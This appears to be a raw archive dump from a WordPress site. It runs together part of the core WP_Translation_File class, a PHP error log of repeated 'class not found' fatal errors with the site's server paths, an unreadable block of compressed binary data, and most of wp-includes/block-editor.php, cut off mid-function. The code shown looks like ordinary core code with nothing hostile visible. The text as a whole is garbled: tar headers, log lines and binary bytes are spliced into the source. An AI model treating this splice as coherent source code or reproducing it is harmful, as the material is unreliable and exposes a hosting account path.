protected $entries = array(); /** * Plural forms function. * * @since 6.5.0 * @var callable|null Plural forms. */ protected $plural_forms = null; /** * Constructor. * * @since 6.5.0 * * @param string $file File to load. */ protected function __construct( string $file ) { $this->file = $file; } /** * Creates a new WP_Translation_File instance for a given file. * * @since 6.5.0 * * @param string $file File name. * @param string|null $filetype Optional. File type. Default inferred from file name. * @return false|WP_Translation_File */ public static function create( string $file, ?string $filetype = null ) { if ( ! is_readable( $file ) ) { return false; } if ( null === $filetype ) { $pos = strrpos( $file, '.' ); if ( false !== $pos ) { $filetype = substr( $file, $pos + 1 ); } } switch ( $filetype ) { case 'mo': return new WP_Translation_File_MO( $file ); case 'php': return new WP_Translation_File_PHP( $file ); default: return false; } } /** * Creates a new WP_Translation_File instance for a given file. * * @since 6.5.0 * * @param string $file Source file name. * @param string $filetype Desired target file type. * @return string|false Transformed translation file contents on success, false otherwise. */ public static function transform( string $file, string $filetype ) { $source = self::create( $file ); if ( false === $source ) { return false; } switch ( $filetype ) { case 'mo': $destination = new WP_Translation_File_MO( '' ); break; case 'php': $destination = new WP_Translation_File_PHP( '' ); break; default: return false; } $success = $destination->import( $source ); if ( ! $success ) { return false; } return $destination->export(); } /** * Returns all headers. * * @since 6.5.0 * * @return array Headers. */ public function headers(): array { if ( ! $this->parsed ) { $this->parse_file(); } return $this->headers; } /** * Returns all entries. * * @since 6.5.0 * * @return array Entries. */ public function entries(): array { if ( ! $this->parsed ) { $this->parse_file(); } return $this->entries; } /** * Returns the current error information. * * @since 6.5.0 * * @return string|null Error message or null if no error. */ public function error() { return $this->error; } /** * Returns the file name. * * @since 6.5.0 * * @return string File name. */ public function get_file(): string { return $this->file; } /** * Translates a given string. * * @since 6.5.0 * * @param string $text String to translate. * @return false|string Translation(s) on success, false otherwise. */ public function translate( string $text ) { if ( ! $this->parsed ) { $this->parse_file(); } return $this->entries[ $text ] ?? false; } /** * Returns the plural form for a given number. * * @since 6.5.0 * * @param int $number Count. * @return int Plural form. */ public function get_plural_form( int $number ): int { if ( ! $this->parsed ) { $this->parse_file(); } if ( null === $this->plural_forms && isset( $this->headers['plural-forms'] ) ) { $expression = $this->get_plural_expression_from_header( $this->headers['plural-forms'] ); $this->plural_forms = $this->make_plural_form_function( $expression ); } if ( is_callable( $this->plural_forms ) ) { /** * Plural form. * * @var int $result Plural form. */ $result = call_user_func( $this->plural_forms, $number ); return $result; } // Default plural form matches English, only "One" is considered singular. return ( 1 === $number ? 0 : 1 ); } /** * Returns the plural forms expression as a tuple. * * @since 6.5.0 * * @param string $header Plural-Forms header string. * @return string Plural forms expression. */ protected function get_plural_expression_from_header( string $header ): string { if ( preg_match( '/^\s*nplurals\s*=\s*(\d+)\s*;\s+plural\s*=\s*(.+)$/', $header, $matches ) ) { return trim( $matches[2] ); } return 'n != 1'; } /** * Makes a function, which will return the right translation index, according to the * plural forms header. * * @since 6.5.0 * * @param string $expression Plural form expression. * @return callable(int $num): int Plural forms function. */ protected function make_plural_form_function( string $expression ): callable { try { $handler = new Plural_Forms( rtrim( $expression, ';' ) ); return array( $handler, 'get' ); } catch ( Exception $e ) { // Fall back to default plural-form function. return $this->make_plural_form_function( 'n != 1' ); } } /** * Imports translations from another file. * * @since 6.5.0 * * @param WP_Translation_File $source Source file. * @return bool True on success, false otherwise. */ protected function import( WP_Translation_File $source ): bool { if ( null !== $source->error() ) { return false; } $this->headers = $source->headers(); $this->entries = $source->entries(); $this->error = $source->error(); return null === $this->error; } /** * Parses the file. * * @since 6.5.0 */ abstract protected function parse_file(); /** * Exports translation contents as a string. * * @since 6.5.0 * * @return string Translation file contents. */ abstract public function export(); } error_log000064400000010544150547657630006507 0ustar00[17-May-2025 14:29:27 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php on line 15 [17-May-2025 14:44:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php on line 15 [17-May-2025 19:51:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php on line 15 [17-May-2025 20:49:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php on line 15 [19-May-2025 13:22:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php on line 15 [19-May-2025 18:10:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php on line 15 [04-Jun-2025 13:32:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php on line 15 [04-Jun-2025 14:38:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php on line 15 [12-Jun-2025 22:41:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php on line 15 [17-Jun-2025 07:27:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php on line 15 [27-Jun-2025 19:33:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php on line 15 [27-Jun-2025 20:37:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php on line 15 [11-Jul-2025 09:10:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php on line 15 [11-Jul-2025 09:25:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php on line 15 PK $[hBfeed-rss2.php.php.tar.gznu[Wmo6WW܌NIJ7e ؀ 0E!**)E5;R/6l~L{x eT3ZRdRO&tQzqvDHi=daא}ZgG'g0| E. _?^R.]xo޾+2b"G?cK+qCa@Zs&bTBivC>}返ii~tp}u׳nN$ŵՇ:_ 1sWfy$SZrV$}*.{T3]tI w4zzҧz߲q.Y? W])!;?b!JAlNLt=!fuD\ 6XAuhQ&V_k\&5߭$͗*@ȺKr3>#}9N cB!R=:yM'+T3tmR,vRW⤪W"c7"ϛb2@CI(~:Ll9ə$XkMXبGIC[2SYL<̈똈|+V(1E7fmT.Wdsm` فoJᧂ:Aɰ@Fy<ҭx=%*Ȅ "ZP!&6Q:m(#^mI7Q0]vjym&DZO纝2܇PQܲ@.H~>lcrL&܃t^"D޺t]3Mi,hL:/_ٔ6XH>5{l|Q\Sߛx |WW+">|`lY;+ۼx\!;דhT$|cƛLXQr[~=B b5]֞kpxRUűLbA.ȇHp~#\f=c"ofjTF?{23ed1dԖs1WV)H/fnS2#A S6`5&LoGkVo"VjnMcM'֢4N7Z%ǥmƌ8i]UɌ-Jh{q[C[J_ Ћ.ZpaO(r8_ Vw}Vb&b&.w=NywzZO_DSPK $[)Uxxblock-editor.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/block-editor.php000064400000070175150547657140020253 0ustar00 'text', 'title' => _x( 'Text', 'block category' ), 'icon' => null, ), array( 'slug' => 'media', 'title' => _x( 'Media', 'block category' ), 'icon' => null, ), array( 'slug' => 'design', 'title' => _x( 'Design', 'block category' ), 'icon' => null, ), array( 'slug' => 'widgets', 'title' => _x( 'Widgets', 'block category' ), 'icon' => null, ), array( 'slug' => 'theme', 'title' => _x( 'Theme', 'block category' ), 'icon' => null, ), array( 'slug' => 'embed', 'title' => _x( 'Embeds', 'block category' ), 'icon' => null, ), array( 'slug' => 'reusable', 'title' => _x( 'Patterns', 'block category' ), 'icon' => null, ), ); } /** * Returns all the categories for block types that will be shown in the block editor. * * @since 5.0.0 * @since 5.8.0 It is possible to pass the block editor context as param. * * @param WP_Post|WP_Block_Editor_Context $post_or_block_editor_context The current post object or * the block editor context. * * @return array[] Array of categories for block types. */ function get_block_categories( $post_or_block_editor_context ) { $block_categories = get_default_block_categories(); $block_editor_context = $post_or_block_editor_context instanceof WP_Post ? new WP_Block_Editor_Context( array( 'post' => $post_or_block_editor_context, ) ) : $post_or_block_editor_context; /** * Filters the default array of categories for block types. * * @since 5.8.0 * * @param array[] $block_categories Array of categories for block types. * @param WP_Block_Editor_Context $block_editor_context The current block editor context. */ $block_categories = apply_filters( 'block_categories_all', $block_categories, $block_editor_context ); if ( ! empty( $block_editor_context->post ) ) { $post = $block_editor_context->post; /** * Filters the default array of categories for block types. * * @since 5.0.0 * @deprecated 5.8.0 Use the {@see 'block_categories_all'} filter instead. * * @param array[] $block_categories Array of categories for block types. * @param WP_Post $post Post being loaded. */ $block_categories = apply_filters_deprecated( 'block_categories', array( $block_categories, $post ), '5.8.0', 'block_categories_all' ); } return $block_categories; } /** * Gets the list of allowed block types to use in the block editor. * * @since 5.8.0 * * @param WP_Block_Editor_Context $block_editor_context The current block editor context. * * @return bool|string[] Array of block type slugs, or boolean to enable/disable all. */ function get_allowed_block_types( $block_editor_context ) { $allowed_block_types = true; /** * Filters the allowed block types for all editor types. * * @since 5.8.0 * * @param bool|string[] $allowed_block_types Array of block type slugs, or boolean to enable/disable all. * Default true (all registered block types supported). * @param WP_Block_Editor_Context $block_editor_context The current block editor context. */ $allowed_block_types = apply_filters( 'allowed_block_types_all', $allowed_block_types, $block_editor_context ); if ( ! empty( $block_editor_context->post ) ) { $post = $block_editor_context->post; /** * Filters the allowed block types for the editor. * * @since 5.0.0 * @deprecated 5.8.0 Use the {@see 'allowed_block_types_all'} filter instead. * * @param bool|string[] $allowed_block_types Array of block type slugs, or boolean to enable/disable all. * Default true (all registered block types supported) * @param WP_Post $post The post resource data. */ $allowed_block_types = apply_filters_deprecated( 'allowed_block_types', array( $allowed_block_types, $post ), '5.8.0', 'allowed_block_types_all' ); } return $allowed_block_types; } /** * Returns the default block editor settings. * * @since 5.8.0 * * @return array The default block editor settings. */ function get_default_block_editor_settings() { // Media settings. // wp_max_upload_size() can be expensive, so only call it when relevant for the current user. $max_upload_size = 0; if ( current_user_can( 'upload_files' ) ) { $max_upload_size = wp_max_upload_size(); if ( ! $max_upload_size ) { $max_upload_size = 0; } } /** This filter is documented in wp-admin/includes/media.php */ $image_size_names = apply_filters( 'image_size_names_choose', array( 'thumbnail' => __( 'Thumbnail' ), 'medium' => __( 'Medium' ), 'large' => __( 'Large' ), 'full' => __( 'Full Size' ), ) ); $available_image_sizes = array(); foreach ( $image_size_names as $image_size_slug => $image_size_name ) { $available_image_sizes[] = array( 'slug' => $image_size_slug, 'name' => $image_size_name, ); } $default_size = get_option( 'image_default_size', 'large' ); $image_default_size = in_array( $default_size, array_keys( $image_size_names ), true ) ? $default_size : 'large'; $image_dimensions = array(); $all_sizes = wp_get_registered_image_subsizes(); foreach ( $available_image_sizes as $size ) { $key = $size['slug']; if ( isset( $all_sizes[ $key ] ) ) { $image_dimensions[ $key ] = $all_sizes[ $key ]; } } // These styles are used if the "no theme styles" options is triggered or on // themes without their own editor styles. $default_editor_styles_file = ABSPATH . WPINC . '/css/dist/block-editor/default-editor-styles.css'; static $default_editor_styles_file_contents = false; if ( ! $default_editor_styles_file_contents && file_exists( $default_editor_styles_file ) ) { $default_editor_styles_file_contents = file_get_contents( $default_editor_styles_file ); } $default_editor_styles = array(); if ( $default_editor_styles_file_contents ) { $default_editor_styles = array( array( 'css' => $default_editor_styles_file_contents ), ); } $editor_settings = array( 'alignWide' => get_theme_support( 'align-wide' ), 'allowedBlockTypes' => true, 'allowedMimeTypes' => get_allowed_mime_types(), 'defaultEditorStyles' => $default_editor_styles, 'blockCategories' => get_default_block_categories(), 'isRTL' => is_rtl(), 'imageDefaultSize' => $image_default_size, 'imageDimensions' => $image_dimensions, 'imageEditing' => true, 'imageSizes' => $available_image_sizes, 'maxUploadFileSize' => $max_upload_size, '__experimentalDashboardLink' => admin_url( '/' ), // The following flag is required to enable the new Gallery block format on the mobile apps in 5.9. '__unstableGalleryWithImageBlocks' => true, ); $theme_settings = get_classic_theme_supports_block_editor_settings(); foreach ( $theme_settings as $key => $value ) { $editor_settings[ $key ] = $value; } return $editor_settings; } /** * Returns the block editor settings needed to use the Legacy Widget block which * is not registered by default. * * @since 5.8.0 * * @return array Settings to be used with get_block_editor_settings(). */ function get_legacy_widget_block_editor_settings() { $editor_settings = array(); /** * Filters the list of widget-type IDs that should **not** be offered by the * Legacy Widget block. * * Returning an empty array will make all widgets available. * * @since 5.8.0 * * @param string[] $widgets An array of excluded widget-type IDs. */ $editor_settings['widgetTypesToHideFromLegacyWidgetBlock'] = apply_filters( 'widget_types_to_hide_from_legacy_widget_block', array( 'pages', 'calendar', 'archives', 'media_audio', 'media_image', 'media_gallery', 'media_video', 'search', 'text', 'categories', 'recent-posts', 'recent-comments', 'rss', 'tag_cloud', 'custom_html', 'block', ) ); return $editor_settings; } /** * Collect the block editor assets that need to be loaded into the editor's iframe. * * @since 6.0.0 * @access private * * @global WP_Styles $wp_styles The WP_Styles current instance. * @global WP_Scripts $wp_scripts The WP_Scripts current instance. * * @return array { * The block editor assets. * * @type string|false $styles String containing the HTML for styles. * @type string|false $scripts String containing the HTML for scripts. * } */ function _wp_get_iframed_editor_assets() { global $wp_styles, $wp_scripts; // Keep track of the styles and scripts instance to restore later. $current_wp_styles = $wp_styles; $current_wp_scripts = $wp_scripts; // Create new instances to collect the assets. $wp_styles = new WP_Styles(); $wp_scripts = new WP_Scripts(); /* * Register all currently registered styles and scripts. The actions that * follow enqueue assets, but don't necessarily register them. */ $wp_styles->registered = $current_wp_styles->registered; $wp_scripts->registered = $current_wp_scripts->registered; /* * We generally do not need reset styles for the iframed editor. * However, if it's a classic theme, margins will be added to every block, * which is reset specifically for list items, so classic themes rely on * these reset styles. */ $wp_styles->done = wp_theme_has_theme_json() ? array( 'wp-reset-editor-styles' ) : array(); wp_enqueue_script( 'wp-polyfill' ); // Enqueue the `editorStyle` handles for all core block, and dependencies. wp_enqueue_style( 'wp-edit-blocks' ); if ( current_theme_supports( 'wp-block-styles' ) ) { wp_enqueue_style( 'wp-block-library-theme' ); } /* * We don't want to load EDITOR scripts in the iframe, only enqueue * front-end assets for the content. */ add_filter( 'should_load_block_editor_scripts_and_styles', '__return_false' ); do_action( 'enqueue_block_assets' ); remove_filter( 'should_load_block_editor_scripts_and_styles', '__return_false' ); $block_registry = WP_Block_Type_Registry::get_instance(); /* * Additionally, do enqueue `editorStyle` assets for all blocks, which * contains editor-only styling for blocks (editor content). */ foreach ( $block_registry->get_all_registered() as $block_type ) { if ( isset( $block_type->editor_style_handles ) && is_array( $block_type->editor_style_handles ) ) { foreach ( $block_type->editor_style_handles as $style_handle ) { wp_enqueue_style( $style_handle ); } } } /** * Remove the deprecated `print_emoji_styles` handler. * It avoids breaking style generation with a deprecation message. */ $has_emoji_styles = has_action( 'wp_print_styles', 'print_emoji_styles' ); if ( $has_emoji_styles ) { remove_action( 'wp_print_styles', 'print_emoji_styles' ); } ob_start(); wp_print_styles(); wp_print_font_faces(); wp_print_font_faces_from_style_variations(); $styles = ob_get_clean(); if ( $has_emoji_styles ) { add_action( 'wp_print_styles', 'print_emoji_styles' ); } ob_start(); wp_print_head_scripts(); wp_print_footer_scripts(); $scripts = ob_get_clean(); // Restore the original instances. $wp_styles = $current_wp_styles; $wp_scripts = $current_wp_scripts; return array( 'styles' => $styles, 'scripts' => $scripts, ); } /** * Finds the first occurrence of a specific block in an array of blocks. * * @since 6.3.0 * * @param array $blocks Array of blocks. * @param string $block_name Name of the block to find. * @return array Found block, or empty array if none found. */ function wp_get_first_block( $blocks, $block_name ) { foreach ( $blocks as $block ) { if ( $block_name === $block['blockName'] ) { return $block; } if ( ! empty( $block['innerBlocks'] ) ) { $found_block = wp_get_first_block( $block['innerBlocks'], $block_name ); if ( ! empty( $found_block ) ) { return $found_block; } } } return array(); } /** * Retrieves Post Content block attributes from the current post template. * * @since 6.3.0 * @since 6.4.0 Return null if there is no post content block. * @access private * * @global int $post_ID * * @return array|null Post Content block attributes array or null if Post Content block doesn't exist. */ function wp_get_post_content_block_attributes() { global $post_ID; $is_block_theme = wp_is_block_theme(); if ( ! $is_block_theme || ! $post_ID ) { return null; } $template_slug = get_page_template_slug( $post_ID ); if ( ! $template_slug ) { $post_slug = 'singular'; $page_slug = 'singular'; $template_types = get_block_templates(); foreach ( $template_types as $template_type ) { if ( 'page' === $template_type->slug ) { $page_slug = 'page'; } if ( 'single' === $template_type->slug ) { $post_slug = 'single'; } } $what_post_type = get_post_type( $post_ID ); switch ( $what_post_type ) { case 'page': $template_slug = $page_slug; break; default: $template_slug = $post_slug; break; } } $current_template = get_block_templates( array( 'slug__in' => array( $template_slug ) ) ); if ( ! empty( $current_template ) ) { $template_blocks = parse_blocks( $current_template[0]->content ); $post_content_block = wp_get_first_block( $template_blocks, 'core/post-content' ); if ( isset( $post_content_block['attrs'] ) ) { return $post_content_block['attrs']; } } return null; } /** * Returns the contextualized block editor settings for a selected editor context. * * @since 5.8.0 * * @param array $custom_settings Custom settings to use with the given editor type. * @param WP_Block_Editor_Context $block_editor_context The current block editor context. * * @return array The contextualized block editor settings. */ function get_block_editor_settings( array $custom_settings, $block_editor_context ) { $editor_settings = array_merge( get_default_block_editor_settings(), array( 'allowedBlockTypes' => get_allowed_block_types( $block_editor_context ), 'blockCategories' => get_block_categories( $block_editor_context ), ), $custom_settings ); $global_styles = array(); $presets = array( array( 'css' => 'variables', '__unstableType' => 'presets', 'isGlobalStyles' => true, ), array( 'css' => 'presets', '__unstableType' => 'presets', 'isGlobalStyles' => true, ), ); foreach ( $presets as $preset_style ) { $actual_css = wp_get_global_stylesheet( array( $preset_style['css'] ) ); if ( '' !== $actual_css ) { $preset_style['css'] = $actual_css; $global_styles[] = $preset_style; } } if ( wp_theme_has_theme_json() ) { $block_classes = array( 'css' => 'styles', '__unstableType' => 'theme', 'isGlobalStyles' => true, ); $actual_css = wp_get_global_stylesheet( array( $block_classes['css'] ) ); if ( '' !== $actual_css ) { $block_classes['css'] = $actual_css; $global_styles[] = $block_classes; } /* * Add the custom CSS as a separate stylesheet so any invalid CSS * entered by users does not break other global styles. */ $global_styles[] = array( 'css' => wp_get_global_stylesheet( array( 'custom-css' ) ), '__unstableType' => 'user', 'isGlobalStyles' => true, ); } else { // If there is no `theme.json` file, ensure base layout styles are still available. $block_classes = array( 'css' => 'base-layout-styles', '__unstableType' => 'base-layout', 'isGlobalStyles' => true, ); $actual_css = wp_get_global_stylesheet( array( $block_classes['css'] ) ); if ( '' !== $actual_css ) { $block_classes['css'] = $actual_css; $global_styles[] = $block_classes; } } $editor_settings['styles'] = array_merge( $global_styles, get_block_editor_theme_styles() ); $editor_settings['__experimentalFeatures'] = wp_get_global_settings(); // These settings may need to be updated based on data coming from theme.json sources. if ( isset( $editor_settings['__experimentalFeatures']['color']['palette'] ) ) { $colors_by_origin = $editor_settings['__experimentalFeatures']['color']['palette']; $editor_settings['colors'] = isset( $colors_by_origin['custom'] ) ? $colors_by_origin['custom'] : ( isset( $colors_by_origin['theme'] ) ? $colors_by_origin['theme'] : $colors_by_origin['default'] ); } if ( isset( $editor_settings['__experimentalFeatures']['color']['gradients'] ) ) { $gradients_by_origin = $editor_settings['__experimentalFeatures']['color']['gradients']; $editor_settings['gradients'] = isset( $gradients_by_origin['custom'] ) ? $gradients_by_origin['custom'] : ( isset( $gradients_by_origin['theme'] ) ? $gradients_by_origin['theme'] : $gradients_by_origin['default'] ); } if ( isset( $editor_settings['__experimentalFeatures']['typography']['fontSizes'] ) ) { $font_sizes_by_origin = $editor_settings['__experimentalFeatures']['typography']['fontSizes']; $editor_settings['fontSizes'] = isset( $font_sizes_by_origin['custom'] ) ? $font_sizes_by_origin['custom'] : ( isset( $font_sizes_by_origin['theme'] ) ? $font_sizes_by_origin['theme'] : $font_sizes_by_origin['default'] ); } if ( isset( $editor_settings['__experimentalFeatures']['color']['custom'] ) ) { $editor_settings['disableCustomColors'] = ! $editor_settings['__experimentalFeatures']['color']['custom']; unset( $editor_settings['__experimentalFeatures']['color']['custom'] ); } if ( isset( $editor_settings['__experimentalFeatures']['color']['customGradient'] ) ) { $editor_settings['disableCustomGradients'] = ! $editor_settings['__experimentalFeatures']['color']['customGradient']; unset( $editor_settings['__experimentalFeatures']['color']['customGradient'] ); } if ( isset( $editor_settings['__experimentalFeatures']['typography']['customFontSize'] ) ) { $editor_settings['disableCustomFontSizes'] = ! $editor_settings['__experimentalFeatures']['typography']['customFontSize']; unset( $editor_settings['__experimentalFeatures']['typography']['customFontSize'] ); } if ( isset( $editor_settings['__experimentalFeatures']['typography']['lineHeight'] ) ) { $editor_settings['enableCustomLineHeight'] = $editor_settings['__experimentalFeatures']['typography']['lineHeight']; unset( $editor_settings['__experimentalFeatures']['typography']['lineHeight'] ); } if ( isset( $editor_settings['__experimentalFeatures']['spacing']['units'] ) ) { $editor_settings['enableCustomUnits'] = $editor_settings['__experimentalFeatures']['spacing']['units']; unset( $editor_settings['__experimentalFeatures']['spacing']['units'] ); } if ( isset( $editor_settings['__experimentalFeatures']['spacing']['padding'] ) ) { $editor_settings['enableCustomSpacing'] = $editor_settings['__experimentalFeatures']['spacing']['padding']; unset( $editor_settings['__experimentalFeatures']['spacing']['padding'] ); } if ( isset( $editor_settings['__experimentalFeatures']['spacing']['customSpacingSize'] ) ) { $editor_settings['disableCustomSpacingSizes'] = ! $editor_settings['__experimentalFeatures']['spacing']['customSpacingSize']; unset( $editor_settings['__experimentalFeatures']['spacing']['customSpacingSize'] ); } if ( isset( $editor_settings['__experimentalFeatures']['spacing']['spacingSizes'] ) ) { $spacing_sizes_by_origin = $editor_settings['__experimentalFeatures']['spacing']['spacingSizes']; $editor_settings['spacingSizes'] = isset( $spacing_sizes_by_origin['custom'] ) ? $spacing_sizes_by_origin['custom'] : ( isset( $spacing_sizes_by_origin['theme'] ) ? $spacing_sizes_by_origin['theme'] : $spacing_sizes_by_origin['default'] ); } $editor_settings['__unstableResolvedAssets'] = _wp_get_iframed_editor_assets(); $editor_settings['__unstableIsBlockBasedTheme'] = wp_is_block_theme(); $editor_settings['localAutosaveInterval'] = 15; $editor_settings['disableLayoutStyles'] = current_theme_supports( 'disable-layout-styles' ); $editor_settings['__experimentalDiscussionSettings'] = array( 'commentOrder' => get_option( 'comment_order' ), 'commentsPerPage' => get_option( 'comments_per_page' ), 'defaultCommentsPage' => get_option( 'default_comments_page' ), 'pageComments' => get_option( 'page_comments' ), 'threadComments' => get_option( 'thread_comments' ), 'threadCommentsDepth' => get_option( 'thread_comments_depth' ), 'defaultCommentStatus' => get_option( 'default_comment_status' ), 'avatarURL' => get_avatar_url( '', array( 'size' => 96, 'force_default' => true, 'default' => get_option( 'avatar_default' ), ) ), ); $post_content_block_attributes = wp_get_post_content_block_attributes(); if ( isset( $post_content_block_attributes ) ) { $editor_settings['postContentAttributes'] = $post_content_block_attributes; } $editor_settings['canUpdateBlockBindings'] = current_user_can( 'edit_block_binding', $block_editor_context ); /** * Filters the settings to pass to the block editor for all editor type. * * @since 5.8.0 * * @param array $editor_settings Default editor settings. * @param WP_Block_Editor_Context $block_editor_context The current block editor context. */ $editor_settings = apply_filters( 'block_editor_settings_all', $editor_settings, $block_editor_context ); if ( ! empty( $block_editor_context->post ) ) { $post = $block_editor_context->post; /** * Filters the settings to pass to the block editor. * * @since 5.0.0 * @deprecated 5.8.0 Use the {@see 'block_editor_settings_all'} filter instead. * * @param array $editor_settings Default editor settings. * @param WP_Post $post Post being edited. */ $editor_settings = apply_filters_deprecated( 'block_editor_settings', array( $editor_settings, $post ), '5.8.0', 'block_editor_settings_all' ); } return $editor_settings; } /** * Preloads common data used with the block editor by specifying an array of * REST API paths that will be preloaded for a given block editor context. * * @since 5.8.0 * * @global WP_Post $post Global post object. * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts. * @global WP_Styles $wp_styles The WP_Styles object for printing styles. * * @param (string|string[])[] $preload_paths List of paths to preload. * @param WP_Block_Editor_Context $block_editor_context The current block editor context. */ function block_editor_rest_api_preload( array $preload_paths, $block_editor_context ) { global $post, $wp_scripts, $wp_styles; /** * Filters the array of REST API paths that will be used to preloaded common data for the block editor. * * @since 5.8.0 * * @param (string|string[])[] $preload_paths Array of paths to preload. * @param WP_Block_Editor_Context $block_editor_context The current block editor context. */ $preload_paths = apply_filters( 'block_editor_rest_api_preload_paths', $preload_paths, $block_editor_context ); if ( ! empty( $block_editor_context->post ) ) { $selected_post = $block_editor_context->post; /** * Filters the array of paths that will be preloaded. * * Preload common data by specifying an array of REST API paths that will be preloaded. * * @since 5.0.0 * @deprecated 5.8.0 Use the {@see 'block_editor_rest_api_preload_paths'} filter instead. * * @param (string|string[])[] $preload_paths Array of paths to preload. * @param WP_Post $selected_post Post being edited. */ $preload_paths = apply_filters_deprecated( 'block_editor_preload_paths', array( $preload_paths, $selected_post ), '5.8.0', 'block_editor_rest_api_preload_paths' ); } if ( empty( $preload_paths ) ) { return; } /* * Ensure the global $post, $wp_scripts, and $wp_styles remain the same after * API data is preloaded. * Because API preloading can call the_content and other filters, plugins * can unexpectedly modify the global $post or enqueue assets which are not * intended for the block editor. */ $backup_global_post = ! empty( $post ) ? clone $post : $post; $backup_wp_scripts = ! empty( $wp_scripts ) ? clone $wp_scripts : $wp_scripts; $backup_wp_styles = ! empty( $wp_styles ) ? clone $wp_styles : $wp_styles; foreach ( $preload_paths as &$path ) { if ( is_string( $path ) && ! str_starts_with( $path, '/' ) ) { $path = '/' . $path; continue; } if ( is_array( $path ) && is_string( $path[0] ) && ! str_starts_with( $path[0], '/' ) ) { $path[0] = '/' . $path[0]; } } unset( $path ); $preload_data = array_reduce( $preload_paths, 'rest_preload_api_request', array() ); // Restore the global $post, $wp_scripts, and $wp_styles as they were before API preloading. $post = $backup_global_post; $wp_scripts = $backup_wp_scripts; $wp_styles = $backup_wp_styles; wp_add_inline_script( 'wp-api-fetch', sprintf( 'wp.apiFetch.use( wp.apiFetch.createPreloadingMiddleware( %s ) );', wp_json_encode( $preload_data ) ), 'after' ); } /** * Creates an array of theme styles to load into the block editor. * * @since 5.8.0 * * @global array $editor_styles * * @return array An array of theme styles for the block editor. */ function get_block_editor_theme_styles() { global $editor_styles; $styles = array(); if ( $editor_styles && current_theme_supports( 'editor-styles' ) ) { foreach ( $editor_styles as $style ) { if ( preg_match( '~^(https?:)?//~', $style ) ) { $response = wp_remote_get( $style ); if ( ! is_wp_error( $response ) ) { $styles[] = array( 'css' => wp_remote_retrieve_body( $response ), '__unstableType' => 'theme', 'isGlobalStyles' => false, ); } } else { $file = get_theme_file_path( $style ); if ( is_file( $file ) ) { $styles[] = array( 'css' => file_get_contents( $file ), 'baseURL' => get_theme_file_uri( $style ), '__unstableType' => 'theme', 'isGlobalStyles' => false, ); } } } } return $styles; } /** * Returns the classic theme supports settings for block editor. * * @since 6.2.0 * @since 6.6.0 Add support for 'editor-spacing-sizes' theme support. * * @return array The classic theme supports settings. */ function get_classic_theme_supports_block_editor_settings() { $theme_settings = array( 'disableCustomColors' => get_theme_support( 'disable-custom-colors' ), 'disableCustomFontSizes' => get_theme_support( 'disable-custom-font-sizes' ), 'disableCustomGradients' => get_theme_support( 